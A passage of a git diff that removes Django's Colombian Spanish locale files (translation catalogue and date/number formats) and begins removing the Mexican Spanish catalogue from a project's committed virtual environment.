21:42+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Spanish (Colombia) (http://www.transifex.com/django/django/" -"language/es_CO/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_CO\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikáans" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerí" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorruso" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "Bretón" - -msgid "Bosnian" -msgstr "Bosnio" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Danés" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Griego" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "Inglés Australiano" - -msgid "British English" -msgstr "Inglés Británico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español de Argentina" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Español venezolano" - -msgid "Estonian" -msgstr "Estonio" - -msgid "Basque" -msgstr "Vasco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisón" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Gallego" - -msgid "Hebrew" -msgstr "Hebreo" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesio" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandés" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonés" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kazajo" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreano" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "Luxenburgués" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letón" - -msgid "Macedonian" -msgstr "Macedonio" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Maratí" - -msgid "Burmese" -msgstr "Birmano" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Nepalí" - -msgid "Dutch" -msgstr "Holandés" - -msgid "Norwegian Nynorsk" -msgstr "Nynorsk" - -msgid "Ossetic" -msgstr "Osetio" - -msgid "Punjabi" -msgstr "Panyabí" - -msgid "Polish" -msgstr "Polaco" - -msgid "Portuguese" -msgstr "Portugués" - -msgid "Brazilian Portuguese" -msgstr "Portugués brasileño" - -msgid "Romanian" -msgstr "Rumano" - -msgid "Russian" -msgstr "Ruso" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanés" - -msgid "Serbian" -msgstr "Serbio" - -msgid "Serbian Latin" -msgstr "Serbio latino" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suajili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "Tailandés" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tártaro" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Ukrainian" -msgstr "Ucraniano" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chino simplificado" - -msgid "Traditional Chinese" -msgstr "Chino tradicional" - -msgid "Messages" -msgstr "Mensajes" - -msgid "Site Maps" -msgstr "Mapas del sitio" - -msgid "Static Files" -msgstr "Archivos estáticos" - -msgid "Syndication" -msgstr "Sindicación" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Ingrese un valor válido." - -msgid "Enter a valid URL." -msgstr "Ingrese una URL válida." - -msgid "Enter a valid integer." -msgstr "Ingrese un entero válido." - -msgid "Enter a valid email address." -msgstr "Ingrese una dirección de correo electrónico válida." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Ingrese una dirección IPv4 válida." - -msgid "Enter a valid IPv6 address." -msgstr "Ingrese una dirección IPv6 válida." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Ingrese una dirección IPv4 o IPv6 válida." - -msgid "Enter only digits separated by commas." -msgstr "Ingrese solo números separados por comas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Asegúrese de que este valor es %(limit_value)s (es %(show_value)s )." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea menor o igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Asegúrese de que este valor sea mayor o igual a %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como mínimo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d carácter " -"(tiene %(show_value)d)." -msgstr[1] "" -"Asegúrese de que este valor tenga como máximo %(limit_value)d caracteres " -"(tiene %(show_value)d)." - -msgid "Enter a number." -msgstr "Ingrese un número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Asegúrese de que no hayan mas de %(max)s dígito en total." -msgstr[1] "Asegúrese de que no hayan mas de %(max)s dígitos en total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Asegúrese de que no hayan más de %(max)s decimal." -msgstr[1] "Asegúrese de que no hayan más de %(max)s decimales." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Asegúrese de que no hayan más de %(max)s dígito antes del punto decimal." -msgstr[1] "" -"Asegúrese de que no hayan más de %(max)s dígitos antes del punto decimal" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "y" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "Ya existe un/a %(model_name)s con este/a %(field_labels)s." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valor %(value)r no es una opción válida." - -msgid "This field cannot be null." -msgstr "Este campo no puede ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo no puede estar en blanco." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Ya existe un/a %(model_name)s con este/a %(field_label)s." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s debe ser único para %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Tipo de campo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Verdadero o Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Cadena (máximo %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Enteros separados por comas" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Fecha (sin hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Fecha (con hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Duración" - -msgid "Email address" -msgstr "Dirección de correo electrónico" - -msgid "File path" -msgstr "Ruta de archivo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Número de punto flotante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Entero" - -msgid "Big (8 byte) integer" -msgstr "Entero grande (8 bytes)" - -msgid "IPv4 address" -msgstr "Dirección IPv4" - -msgid "IP address" -msgstr "Dirección IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadero, Falso o Nulo)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "Entero positivo" - -msgid "Positive small integer" -msgstr "Entero positivo pequeño" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (hasta %(max_length)s)" - -msgid "Small integer" -msgstr "Entero pequeño" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Datos de binarios brutos" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Archivo" - -msgid "Image" -msgstr "Imagen" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "La instancia del %(model)s con %(field)s %(value)r no existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Llave foránea (tipo determinado por el campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relación uno-a-uno" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Relación muchos-a-muchos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo es obligatorio." - -msgid "Enter a whole number." -msgstr "Ingrese un número entero." - -msgid "Enter a valid date." -msgstr "Ingrese una fecha válida." - -msgid "Enter a valid time." -msgstr "Ingrese una hora válida." - -msgid "Enter a valid date/time." -msgstr "Ingrese una fecha/hora válida." - -msgid "Enter a valid duration." -msgstr "Ingrese una duración válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" -"No se ha enviado ningún fichero. Compruebe el tipo de codificación en el " -"formulario." - -msgid "No file was submitted." -msgstr "No se ha enviado ningún fichero." - -msgid "The submitted file is empty." -msgstr "El fichero enviado está vacío." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d carácter " -"(tiene %(length)d)." -msgstr[1] "" -"Asegúrese de que este nombre de archivo tenga como máximo %(max)d caracteres " -"(tiene %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Por favor envíe un fichero o marque la casilla de limpiar, pero no ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Envíe una imagen válida. El fichero que ha enviado no era una imagen o se " -"trataba de una imagen corrupta." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Escoja una opción válida. %(value)s no es una de las opciones disponibles." - -msgid "Enter a list of values." -msgstr "Ingrese una lista de valores." - -msgid "Enter a complete value." -msgstr "Ingrese un valor completo." - -msgid "Enter a valid UUID." -msgstr "Ingrese un UUID válido." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) *%(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "Los datos de ManagementForm faltan o han sido manipulados" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "Por favor, envíe %d o menos formularios." -msgstr[1] "Por favor, envíe %d o menos formularios." - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "Por favor, envíe %d o mas formularios." -msgstr[1] "Por favor, envíe %d o mas formularios." - -msgid "Order" -msgstr "Orden" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija el dato duplicado para %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor corrija el dato duplicado para %(field)s, este debe ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor corrija los datos duplicados para %(field_name)s este debe ser " -"único para %(lookup)s en %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija los valores duplicados abajo." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Escoja una opción válida. Esa opción no está entre las disponibles." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Limpiar" - -msgid "Currently" -msgstr "Actualmente" - -msgid "Change" -msgstr "Cambiar" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sí,no,quizás" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "medianoche" - -msgid "noon" -msgstr "mediodía" - -msgid "Monday" -msgstr "Lunes" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Miércoles" - -msgid "Thursday" -msgstr "Jueves" - -msgid "Friday" -msgstr "Viernes" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Lun" - -msgid "Tue" -msgstr "Mar" - -msgid "Wed" -msgstr "Mié" - -msgid "Thu" -msgstr "Jue" - -msgid "Fri" -msgstr "Vie" - -msgid "Sat" -msgstr "Sáb" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Enero" - -msgid "February" -msgstr "Febrero" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septiembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Noviembre" - -msgid "December" -msgstr "Diciembre" - -msgid "jan" -msgstr "ene" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "may" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dic" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Ene." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marzo" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Mayo" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junio" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julio" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sep." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dic." - -msgctxt "alt. month" -msgid "January" -msgstr "Enero" - -msgctxt "alt. month" -msgid "February" -msgstr "Febrero" - -msgctxt "alt. month" -msgid "March" -msgstr "Marzo" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Mayo" - -msgctxt "alt. month" -msgid "June" -msgstr "Junio" - -msgctxt "alt. month" -msgid "July" -msgstr "Julio" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Septiembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Octubre" - -msgctxt "alt. month" -msgid "November" -msgstr "Noviembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Diciembre" - -msgid "This is not a valid IPv6 address." -msgstr "Esta no es una dirección IPv6 válida." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "o" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d año" -msgstr[1] "%d años" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d mes" -msgstr[1] "%d meses" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d semana" -msgstr[1] "%d semanas" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d día" -msgstr[1] "%d días" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d hora" -msgstr[1] "%d horas" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d minuto" -msgstr[1] "%d minutos" - -msgid "Forbidden" -msgstr "Prohibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verificación CSRF fallida. Solicitud abortada." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Estás viendo este mensaje porqué esta web requiere una cookie CSRF cuando se " -"envían formularios. Esta cookie se necesita por razones de seguridad, para " -"asegurar que tu navegador no ha sido comprometido por terceras partes." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Se puede ver más información si se establece DEBUG=True." - -msgid "No year specified" -msgstr "No se ha indicado el año" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "No se ha indicado el mes" - -msgid "No day specified" -msgstr "No se ha indicado el día" - -msgid "No week specified" -msgstr "No se ha indicado la semana" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "No %(verbose_name_plural)s disponibles" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Los futuros %(verbose_name_plural)s no están disponibles porque " -"%(class_name)s.allow_future es Falso." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "No se encontró ningún %(verbose_name)s coincidente con la consulta" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Página inválida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Los índices de directorio no están permitidos." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Índice de %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 8e950b88..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index f717e452..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/es_CO/formats.py deleted file mode 100644 index 056d0ada..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_CO/formats.py +++ /dev/null @@ -1,26 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -DATE_FORMAT = r"j \d\e F \d\e Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = r"j \d\e F \d\e Y \a \l\a\s H:i" -YEAR_MONTH_FORMAT = r"F \d\e Y" -MONTH_DAY_FORMAT = r"j \d\e F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 1 -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%Y%m%d", # '20061025' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", - "%d/%m/%Y %H:%M:%S.%f", - "%d/%m/%Y %H:%M", - "%d/%m/%y %H:%M:%S", - "%d/%m/%y %H:%M:%S.%f", - "%d/%m/%y %H:%M", -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.mo deleted file mode 100644 index 42f26918..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.po deleted file mode 100644 index 93b81a43..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/es_MX/LC_MESSAGES/django.po +++ /dev/null @@ -1,1279 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Abe Estrada, 2011-2013 -# Claude Paroz , 2020 -# Gustavo López Hernández, 2022 -# Jesús Bautista , 2019-2020 -# Sergio Benitez , 2021 -# zodman , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:23-0500\n" -"PO-Revision-Date: 2022-07-25 06:49+0000\n" -"Last-Translator: Gustavo López Hernández\n" -"Language-Team: Spanish (Mexico) (http://www.transifex.com/django/django/" -"language/es_MX/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_MX\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "afrikáans" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "Árabe argelino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerbaijani" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "bielorruso" - -msgid "Bengali" -msgstr "Bengalí" - -msgid "Breton" -msgstr "bretón" - -msgid "Bosnian" -msgstr "Bosnio" - -msgid "Catalan" -msgstr "Catalán" - -msgid "Czech" -msgstr "Checo" - -msgid "Welsh" -msgstr "Galés" - -msgid "Danish" -msgstr "Danés" - -msgid "German" -msgstr "Alemán" - -msgid "Lower Sorbian" -msgstr "Bajo sorbio" - -msgid "Greek" -msgstr "Griego" - -msgid "English" -msgstr "Inglés" - -msgid "Australian English" -msgstr "Inglés australiano" - -msgid "British English" -msgstr "Inglés británico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Español" - -msgid "Argentinian Spanish" -msgstr "Español de Argentina" - -msgid "Colombian Spanish" -msgstr "Español Colombiano" - -msgid "Mexican Spanish" -msgstr "Español de México" - -msgid "Nicaraguan Spanish" -msgstr "Español de nicaragua" - -msgid "Venezuelan Spanish" -msgstr "español de Venezuela" - -msgid "Estonian" -msgstr "Estonio" - -msgid "Basque" -msgstr "Vasco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finés" - -msgid "French" -msgstr "Francés" - -msgid "Frisian" -msgstr "Frisón" - -msgid "Irish" -msgstr "Irlandés" - -msgid "Scottish Gaelic" -msgstr "Gaélico escocés" - -msgid "Galician" -msgstr "Gallego" - -msgid "Hebrew" -msgstr "Hebreo" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - 